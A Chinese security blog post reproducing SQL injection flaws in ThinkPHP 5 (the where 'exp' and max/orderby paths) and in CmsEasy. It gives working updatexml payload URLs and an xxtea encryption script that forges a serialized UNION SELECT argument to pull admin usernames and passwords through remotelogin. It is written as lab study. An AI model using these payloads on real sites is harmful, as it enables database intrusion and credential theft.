当前位置: 首页 > news >正文

ThinkPHP5.1.C+CmsEasy-SQL注入

目录

1、ThinkPHP 中存在的 SQL注入 漏洞( select 方法注入)

1.1环境配置

1.1.1将 composer.json 文件的 require 字段设置成如下:

1.1.2设置application/index/controller/Index.php 文件

1.1.3在 application/database.php 文件中配置数据库相关信息,并开启 application/config.php 中的 app_debug 和 app_trace 。​编辑​编辑

1.1.4Payload触发SQL注入

1.2漏洞分析

2、ThinkPHP 中存在的 SQL注入 漏洞( orderby 方法注入)

2.1漏洞环境

2.1.1将 composer.json 文件的 require 字段设置成如下:

2.1.2并配置 application/index/controller/Index.php

2.1.3在 config/database.php 文件中配置数据库相关信息,并开启 config/app.php 中的 app_debug 和 app_trace 

​编辑

2.1.4漏洞利用

2.2漏洞分析

2.3漏洞修复

3、cms的sql注入

3.1第一个漏洞,未授权登录 

3.1.1查看admin.php,发现构造函数可以跳过admin的限制

3.1.2这里就要考虑一下怎么在反序列化后放一个注入,有解密就有加密,所以我们要把加密函数提取出来,加密函数提取后还有提取其他的关联函数才可以

3.2接下来如何编写?

3.2.1.先写安全码

3.2.2.写注入语句,注入语句必须是数组,这里要清楚库里面有多少个字段才行

3.2.3访问页面

3.3拿到以后怎么访问到后台,查看源码会发现是remotelogin,然后还要加一个args传参


1、ThinkPHP 中存在的 SQL注入 漏洞( select 方法注入)

1.1环境配置

本次漏洞存在于 Mysql 类的 parseWhereItem 方法中。由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。漏洞影响版本: ThinkPHP5全版本

1.1.1将 composer.json 文件的 require 字段设置成如下:

"require": {"php": ">=5.4.0","topthink/framework": "5.0.15"
}

1.1.2设置application/index/controller/Index.php 文件

<?php
namespace app\index\controller;class Index
{public function index(){$username = request()->get('username');$result = db('users')->where('username','exp',$username)->select();return 'select success';}
}

1.1.3在 application/database.php 文件中配置数据库相关信息,并开启 application/config.php 中的 app_debugapp_trace

并在数据库中创建好users表

1.1.4Payload触发SQL注入

http://127.0.0.1/think/public/index.php?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1

1.2漏洞分析

程序默认调用 Request 类的 get 方法中会调用该类的 input 方法,然后进到thinkphp/helper.php中的db方法,再进到thinkphp/library/think/db/Query.php中where方法,通过其 parseWhereExp 方法分析查询表达式,然后再返回并继续调用 select 方法准备开始构建 select 语句

此处调用$this->builder的select方法,而此处$this->builder 为think/db/builder/Mysql类,继承于Builder类,因此调用的是Builder类的select方法

在 select 方法中,程序会对 SQL 语句模板用变量填充,其中用来填充 %WHERE% 的变量中存在用户输入的数据,跟进这个 where 分析函数,会发现其会调用生成查询条件 SQL 语句的 buildWhere 函数,此处 $where 经过 buildWhere 方法处理后返回 $whereStr,期间调用 parseWhereItem 方法

继续跟进 buildWhere 函数,发现用户可控数据又被传入了 parseWhereItem where子单元分析函数。我们发现当操作符等于 EXP 时,将来自用户的数据直接拼接进了 SQL 语句,最终导致了 SQL注入漏洞 。

2、ThinkPHP 中存在的 SQL注入 漏洞( orderby 方法注入)

2.1漏洞环境

本次漏洞存在于 Builder 类的 parseOrder 方法中。由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句,最终导致 SQL注入漏洞 的产生。漏洞影响版本: 5.1.16<=ThinkPHP5<=5.1.22

2.1.1将 composer.json 文件的 require 字段设置成如下:

"require": {"php": ">=5.6.0","topthink/framework": "5.1.25"
}

2.1.2并配置 application/index/controller/Index.php

<?php
namespace app\index\controller;class Index
{public function index(){$options = request()->get('options');$result = db('users')->max($options);var_dump($result);}
}

2.1.3在 config/database.php 文件中配置数据库相关信息,并开启 config/app.php 中的 app_debugapp_trace 

create database tpdemo;
use tpdemo;
create table users(id int primary key auto_increment,username varchar(50) not null
);
insert into users(id,username) values(1,'Mochazz');
insert into users(id,username) values(2,'Jerry');
insert into users(id,username) values(3,'Kitty');

2.1.4漏洞利用

index.php?options=id`)%2bupdatexml(1,concat(0x7,user(),0x7e),1)%20from%20users%23

2.2漏洞分析

用户可控数据未经过滤,传入 Query 类的 max 方法进行聚合查询语句构造,接着调用本类的 aggregate 方法,本次漏洞问题正是发生在该函数底层代码中,所以所有调用该方法的聚合方法均存在 SQL 注入问题,我们看到 aggregate 方法又调用了 Mysql 类的 aggregate 方法,在该方法中,我们可以明显看到程序将用户可控变量 $field 经过 parseKey 方法处理后,与 SQL 语句进行了拼接。下面就来具体看看 parseKey 方法

Connection类下的aggregate()方法:先经过了一个拼接,然后会进入value()方法 ,该方法会调用 Builder 类的 select 方法来构造 SQL 语句

经过一个拼接得到的$field=MAX(`id`) and updatexml(1,concat(0x7e,user(),0x7e),1)from users#`) AS tp_max

然后看value(),其中最重要的就是生成SQL语句处

$sql=$this->builder->select(%query);

Builder类下的select方法:重点看对字段的处理,也就是重点看$this->parseField($query, $options['field']),

$field数组的值逐个传入parseKey中检查,然后再往$array中添加值,$array数组以逗号合并起来,得到$fieldStr

上述的parsekey方法来自Mysql类下的parsekey方法,会对字段名进行检查,其中有一处不满足正则就加反引号的代码,不过这对我们的上面$fields数组中的值没有影响,因为都不满足那个正则

2.3漏洞修复

官方的修复方法是:当匹配到除了 字母、点号、星号 以外的字符时,就抛出异常。

3、cms的sql注入

先搭建环境成功登录网站

3.1第一个漏洞,未授权登录 

3.1.1查看admin.php,发现构造函数可以跳过admin的限制

http://127.0.0.1/cms/index.php?case=config&act=system&set=site&admin_dir=admin&site=default&ishtml=1

这样就完全符合构造函数的要求,可以进入网站后台,拿到cookie安全码

$args = xxtea_decrypt(base64_decode(front::$args), config::get('cookie_password'));

$user=$user->getrow(unserialize($args));

注释:cookie_password这里先拿到网站的安全码,在把你的提交$args经过base64_decode的解码,在xtea_decrypt这个函数进行解密,全部解密后在进行一个反序列化unserialize,反序列化用getrow方法查询到的结果获取数据库第一行

3.1.2这里就要考虑一下怎么在反序列化后放一个注入,有解密就有加密,所以我们要把加密函数提取出来,加密函数提取后还有提取其他的关联函数才可以

<?php
function xxtea_encrypt($str, $key) {if ($str == "") {return "";}$v = str2long($str, true);$k = str2long($key, false);if (count($k) < 4) {for ($i = count($k); $i < 4; $i++) {$k[$i] = 0;}}$n = count($v) - 1;$z = $v[$n];$y = $v[0];$delta = 0x9E3779B9;$q = floor(6 + 52 / ($n + 1));$sum = 0;while (0 < $q--) {$sum = int32($sum + $delta);$e = $sum >> 2 & 3;for ($p = 0; $p < $n; $p++) {$y = $v[$p + 1];$mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z));$z = $v[$p] = int32($v[$p] + $mx);}$y = $v[0];$mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z));$z = $v[$n] = int32($v[$n] + $mx);}return long2str($v, false);
}function str2long($s, $w) {$v = unpack("V*", $s. str_repeat("\0", (4 - strlen($s) % 4) & 3));$v = array_values($v);if ($w) {$v[count($v)] = strlen($s);}return $v;
}function long2str($v, $w) {$len = count($v);$n = ($len - 1) << 2;if ($w) {$m = $v[$len - 1];if (($m < $n - 3) || ($m > $n)) return false;$n = $m;}$s = array();for ($i = 0; $i < $len; $i++) {$s[$i] = pack("V", $v[$i]);}if ($w) {return substr(join('', $s), 0, $n);}else {return join('', $s);}
}function int32($n) {while ($n >= 2147483648) $n -= 4294967296;while ($n <= -2147483649) $n += 4294967296;return (int)$n;
}

3.2接下来如何编写?

3.2.1.先写安全码

3.2.2.写注入语句,注入语句必须是数组,这里要清楚库里面有多少个字段才行

在index.php开头添加以下代码:$key = '9a35ab2c5b5926c5dd4b29adc840df1c';$table = array(  'userid`=-1 UNION SELECT 1,CONCAT(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 FROM cmseasy_user LIMIT 0,1#' 
);echo base64_encode(xxtea_encrypt(serialize($table), $key));  

echo base64_encode(xxtea_encrypt(serialize($table), $key));  

要和前面顺序相反,先序列号在加密在解码 

3.2.3访问页面

3.3拿到以后怎么访问到后台,查看源码会发现是remotelogin,然后还要加一个args传参

te=default

a8DEYpBZyT5V3k16gb9MEL96E%2bCifLZChPA65C7qa4SyDMA0flrrsPkHG6fNuBMrLiq9854vDajpNlL65AyrtEiqhcdIlrFr7hZLpGdeQMQLxHQEOKWCWoadMry14kySpCg4TR0%2fPmh0hvOLY1tkmbNvS7wjCy2EarMtT8JOtlGFMdbIgMBNK%2fMasTNEvWuUbJsWE%2fLzs8hasQc9

正常运行后会产生以下信息

​​

这里只拿到了名字,密码还没拿到,还在解决

相关文章:

ThinkPHP5.1.C+CmsEasy-SQL注入

目录 1、ThinkPHP 中存在的 SQL注入 漏洞&#xff08; select 方法注入&#xff09; 1.1环境配置 1.1.1将 composer.json 文件的 require 字段设置成如下&#xff1a; 1.1.2设置application/index/controller/Index.php 文件 1.1.3在 application/database.php 文件中配置…...

Python 绘图进阶之词云图:文本数据的可视化艺术

Python 绘图进阶之词云图&#xff1a;文本数据的可视化艺术 引言 在数据科学和自然语言处理领域&#xff0c;词云图&#xff08;Word Cloud&#xff09;是一种常用的可视化工具。它通过直观的图形展示文本数据中的高频词汇&#xff0c;使得我们能够快速抓住文本内容的核心主题…...

【Windows】Q-Dir(资源管理器)软件介绍

软件介绍 Q-Dir是一款免费的文件管理器软件&#xff0c;它可以让您更方便地浏览和管理计算机上的文件和文件夹。与Windows自带的资源管理器相比&#xff0c;Q-Dir具有更多的功能和选项。 安装教程 软件下载完成&#xff0c;解压软件。 点击Q-Dir.exe即可打开软件。 功能…...

什么是令牌桶算法?工作原理是什么?使用它有哪些优点和注意事项?

大家好&#xff0c;我是鸭鸭&#xff01; 此答案节选自鸭鸭最近弄的面试刷题神器面试鸭 &#xff0c;更多大厂常问面试题&#xff0c;可以点击下面的小程序进行阅读哈&#xff01; 目前这个面试刷题小程序刚出&#xff0c;有网页和小程序双端可以使用&#xff01; 回归面试题…...

C++-类与对象(中上篇)

一、目标 1. 类的 6 个默认成员函数 2. 构造函数 3. 析构函数 二、对目标的介绍 1. 类的6个默认成员函数 如果一个类中什么成员都没有&#xff0c;简称为空类。 空类中真的什么都没有吗&#xff1f;并不是&#xff0c;任何类在什么都不写时&#xff0c;编译器会自动生…...

链表 206.反转链表

一般方法 不需要一个个来回换&#xff0c;只需要改变链表的指向&#xff0c;即可完成 一个链表的头节点&#xff0c;也代表了整个链表 class Solution {public ListNode reverseList(ListNode head) {ListNode temp;ListNode cur head;ListNode pre null;while(cur ! null…...

Ubuntu18.04 配置EtherCAT主站IGH SOEM

IGH IGH 是开源的EtherCAT 主站软件 一、安装依赖 sudo apt update sudo apt install build-essential linux-headers-$(uname -r) mercurial autoconf libtool 也不知道安装的完全不完全 uname -r 可以查看内核&#xff0c;我安装的ubuntu18.04的内核版本是 5.4.0-84-gen…...

航空航天构型管理

构型管理(CM)被定义为在产品的生命周期中应用的SE技术和管理规程。CM的五个原则是&#xff1a;CM计划与执行、配置识别、配置变更和差异控制、配置状态核算和配置验证。 广义上的构型管理规划和管理是有效实施配置管理的关键。特别是在不同项目之间的差异中&#xff0c;构型管理…...

Visual Studio Code 安装与 C/C++ 语言运行总结

​ 大家好&#xff0c;我是程序员小羊&#xff01; 前言&#xff1a; Visual Studio Code&#xff08;简称 VS Code&#xff09;是由微软开发的一款轻量级、强大的代码编辑器&#xff0c;支持多种编程语言和开发框架。由于其丰富的插件生态系统和灵活的配置选项&#xff0c;VS…...

Science Robotics 受鳞片启发的可编程机器人结构,可同时进行形状变形和刚度变化

一、前言速览 生物有机体通常凭借复杂的结构表现出显著的多功能性&#xff0c;例如章鱼具有可以同时改变形状和刚度的能力。现有的仿生软体机器人要想实现这样的能力&#xff0c;往往需要繁琐的结构和复杂的控制系统。为此&#xff0c;来自新加坡南洋理工大学的研究人员从覆盖…...

SpringBoot 自定义 Starter 实现

一、定义&#xff0c;什么是Starter SpringBoot Starter 是”一站式服务&#xff08;one-stop service&#xff09;“的依赖 Jar 包&#xff1a; 包含 Spring 以及相关技术&#xff08;比如Redis&#xff09;的所有依赖提供了自动配置的功能&#xff0c;开箱即用提供了良好的…...

「Spring MVC」Session、Cookie

&#x1f387;个人主页&#xff1a;Ice_Sugar_7 &#x1f387;所属专栏&#xff1a;JavaEE &#x1f387;欢迎点赞收藏加关注哦&#xff01; Spring MVC &#x1f349;Session & Cookie&#x1f34c;联系与区别 &#x1f349;获取 Cookie&#x1f349;存储 & 获取 Sess…...

Java虚拟机:垃圾回收器

大家好,我是栗筝i,这篇文章是我的 “栗筝i 的 Java 技术栈” 专栏的第 037 篇文章,在 “栗筝i 的 Java 技术栈” 这个专栏中我会持续为大家更新 Java 技术相关全套技术栈内容。专栏的主要目标是已经有一定 Java 开发经验,并希望进一步完善自己对整个 Java 技术体系来充实自…...

ES6-ES13学习笔记

初识ES6 ECMAScript 6.0&#xff08;以下简称 ES6&#xff09;是 JavaScript 语言的下一代标准&#xff0c;已经在 2015 年 6 月正式发布了。它的目标&#xff0c;是使得 JavaScript 语言可以用来编写复杂的大型应用程序&#xff0c;成为企业级开发语言。 1997年&#xff1a;EC…...

【Qt开发】QtCharts图表——在ui上添加QChartView控件并进行绘图配置

【Qt开发】QtCharts图表——在ui上添加QChartView控件并进行绘图配置 文章目录 控件安装和模块导入在ui上添加QChartView控件QChartView图表配置附录&#xff1a;C语言到C的入门知识点&#xff08;主要适用于C语言精通到Qt的C开发入门&#xff09;C语言与C的不同C中写C语言代码…...

Android14 屏幕录制(屏幕投影)和音频播放采集

Android 5开始支持屏幕采集, Android 10支持音频播放采集&#xff0c;不过Android 14用前台服务做屏幕录制时要增加一些处理. 1. app manifest 需要增加: <manifest><uses-permission android:name"android.permission.FOREGROUND_SERVICE" /><uses…...

一行实现88个群智能算法优化混合核极限学习机HKELM的多特征输入单输出的数据回归预测Matlab程序全家桶

一行实现88个群智能算法优化混合核极限学习机HKELM的多特征输入单输出的数据回归预测Matlab程序全家桶 文章目录 前言一行实现88个群智能算法优化混合核极限学习机HKELM的多特征输入单输出的数据回归预测Matlab程序全家桶 一、HKELM模型1. 极限学习机&#xff08;ELM&#xff0…...

redis面试(十五)公平锁队列重排

队列重拍 先说一下当前的加锁状态 anyLock由客户端A持有队列中是客户端B、客户端C并且客户端B现在是排在头部 那么队列重拍就是队列中某个客户端长时间没有重新申请加锁&#xff0c;没有刷新分数&#xff0c;就会被队列中挤掉。 假设这个长时间没有加锁的客户端是B。 总结 …...

python 基础语法os模块

一、os模块 待总结 二、os.path模块 1.abspath()方法--获取绝对路径 abspathO)方法用于返回文件或者目录的绝对路径。 语法格式如下: os .path.abspath(path) 参数说明: path:表示要获取绝对路径的相对路径&#xff0c;可以是文件也可以是目录。 返回值:返回获取到的绝…...

图论------迪杰斯特拉(Dijkstra)算法求单源最短路径。

编程要求 在图的应用中&#xff0c;有一个很重要的需求&#xff1a;我们需要知道从某一个点开始&#xff0c;到其他所有点的最短路径。这其中&#xff0c;Dijkstra 算法是典型的最短路径算法。 本关的编程任务是补全右侧代码片段中 Begin 至 End 中间的代码&#xff0c;实现 …...

SpringBoot-17-MyBatis动态SQL标签之常用标签

文章目录 1 代码1.1 实体User.java1.2 接口UserMapper.java1.3 映射UserMapper.xml1.3.1 标签if1.3.2 标签if和where1.3.3 标签choose和when和otherwise1.4 UserController.java2 常用动态SQL标签2.1 标签set2.1.1 UserMapper.java2.1.2 UserMapper.xml2.1.3 UserController.ja…...

Cesium1.95中高性能加载1500个点

一、基本方式&#xff1a; 图标使用.png比.svg性能要好 <template><div id"cesiumContainer"></div><div class"toolbar"><button id"resetButton">重新生成点</button><span id"countDisplay&qu…...

1688商品列表API与其他数据源的对接思路

将1688商品列表API与其他数据源对接时&#xff0c;需结合业务场景设计数据流转链路&#xff0c;重点关注数据格式兼容性、接口调用频率控制及数据一致性维护。以下是具体对接思路及关键技术点&#xff1a; 一、核心对接场景与目标 商品数据同步 场景&#xff1a;将1688商品信息…...

dedecms 织梦自定义表单留言增加ajax验证码功能

增加ajax功能模块&#xff0c;用户不点击提交按钮&#xff0c;只要输入框失去焦点&#xff0c;就会提前提示验证码是否正确。 一&#xff0c;模板上增加验证码 <input name"vdcode"id"vdcode" placeholder"请输入验证码" type"text&quo…...

从零开始打造 OpenSTLinux 6.6 Yocto 系统(基于STM32CubeMX)(九)

设备树移植 和uboot设备树修改的内容同步到kernel将设备树stm32mp157d-stm32mp157daa1-mx.dts复制到内核源码目录下 源码修改及编译 修改arch/arm/boot/dts/st/Makefile&#xff0c;新增设备树编译 stm32mp157f-ev1-m4-examples.dtb \stm32mp157d-stm32mp157daa1-mx.dtb修改…...

Python爬虫(一):爬虫伪装

一、网站防爬机制概述 在当今互联网环境中&#xff0c;具有一定规模或盈利性质的网站几乎都实施了各种防爬措施。这些措施主要分为两大类&#xff1a; 身份验证机制&#xff1a;直接将未经授权的爬虫阻挡在外反爬技术体系&#xff1a;通过各种技术手段增加爬虫获取数据的难度…...

Caliper 配置文件解析:config.yaml

Caliper 是一个区块链性能基准测试工具,用于评估不同区块链平台的性能。下面我将详细解释你提供的 fisco-bcos.json 文件结构,并说明它与 config.yaml 文件的关系。 fisco-bcos.json 文件解析 这个文件是针对 FISCO-BCOS 区块链网络的 Caliper 配置文件,主要包含以下几个部…...

08. C#入门系列【类的基本概念】:开启编程世界的奇妙冒险

C#入门系列【类的基本概念】&#xff1a;开启编程世界的奇妙冒险 嘿&#xff0c;各位编程小白探险家&#xff01;欢迎来到 C# 的奇幻大陆&#xff01;今天咱们要深入探索这片大陆上至关重要的 “建筑”—— 类&#xff01;别害怕&#xff0c;跟着我&#xff0c;保准让你轻松搞…...

什么是VR全景技术

VR全景技术&#xff0c;全称为虚拟现实全景技术&#xff0c;是通过计算机图像模拟生成三维空间中的虚拟世界&#xff0c;使用户能够在该虚拟世界中进行全方位、无死角的观察和交互的技术。VR全景技术模拟人在真实空间中的视觉体验&#xff0c;结合图文、3D、音视频等多媒体元素…...

DAY 26 函数专题1

函数定义与参数知识点回顾&#xff1a;1. 函数的定义2. 变量作用域&#xff1a;局部变量和全局变量3. 函数的参数类型&#xff1a;位置参数、默认参数、不定参数4. 传递参数的手段&#xff1a;关键词参数5 题目1&#xff1a;计算圆的面积 任务&#xff1a; 编写一…...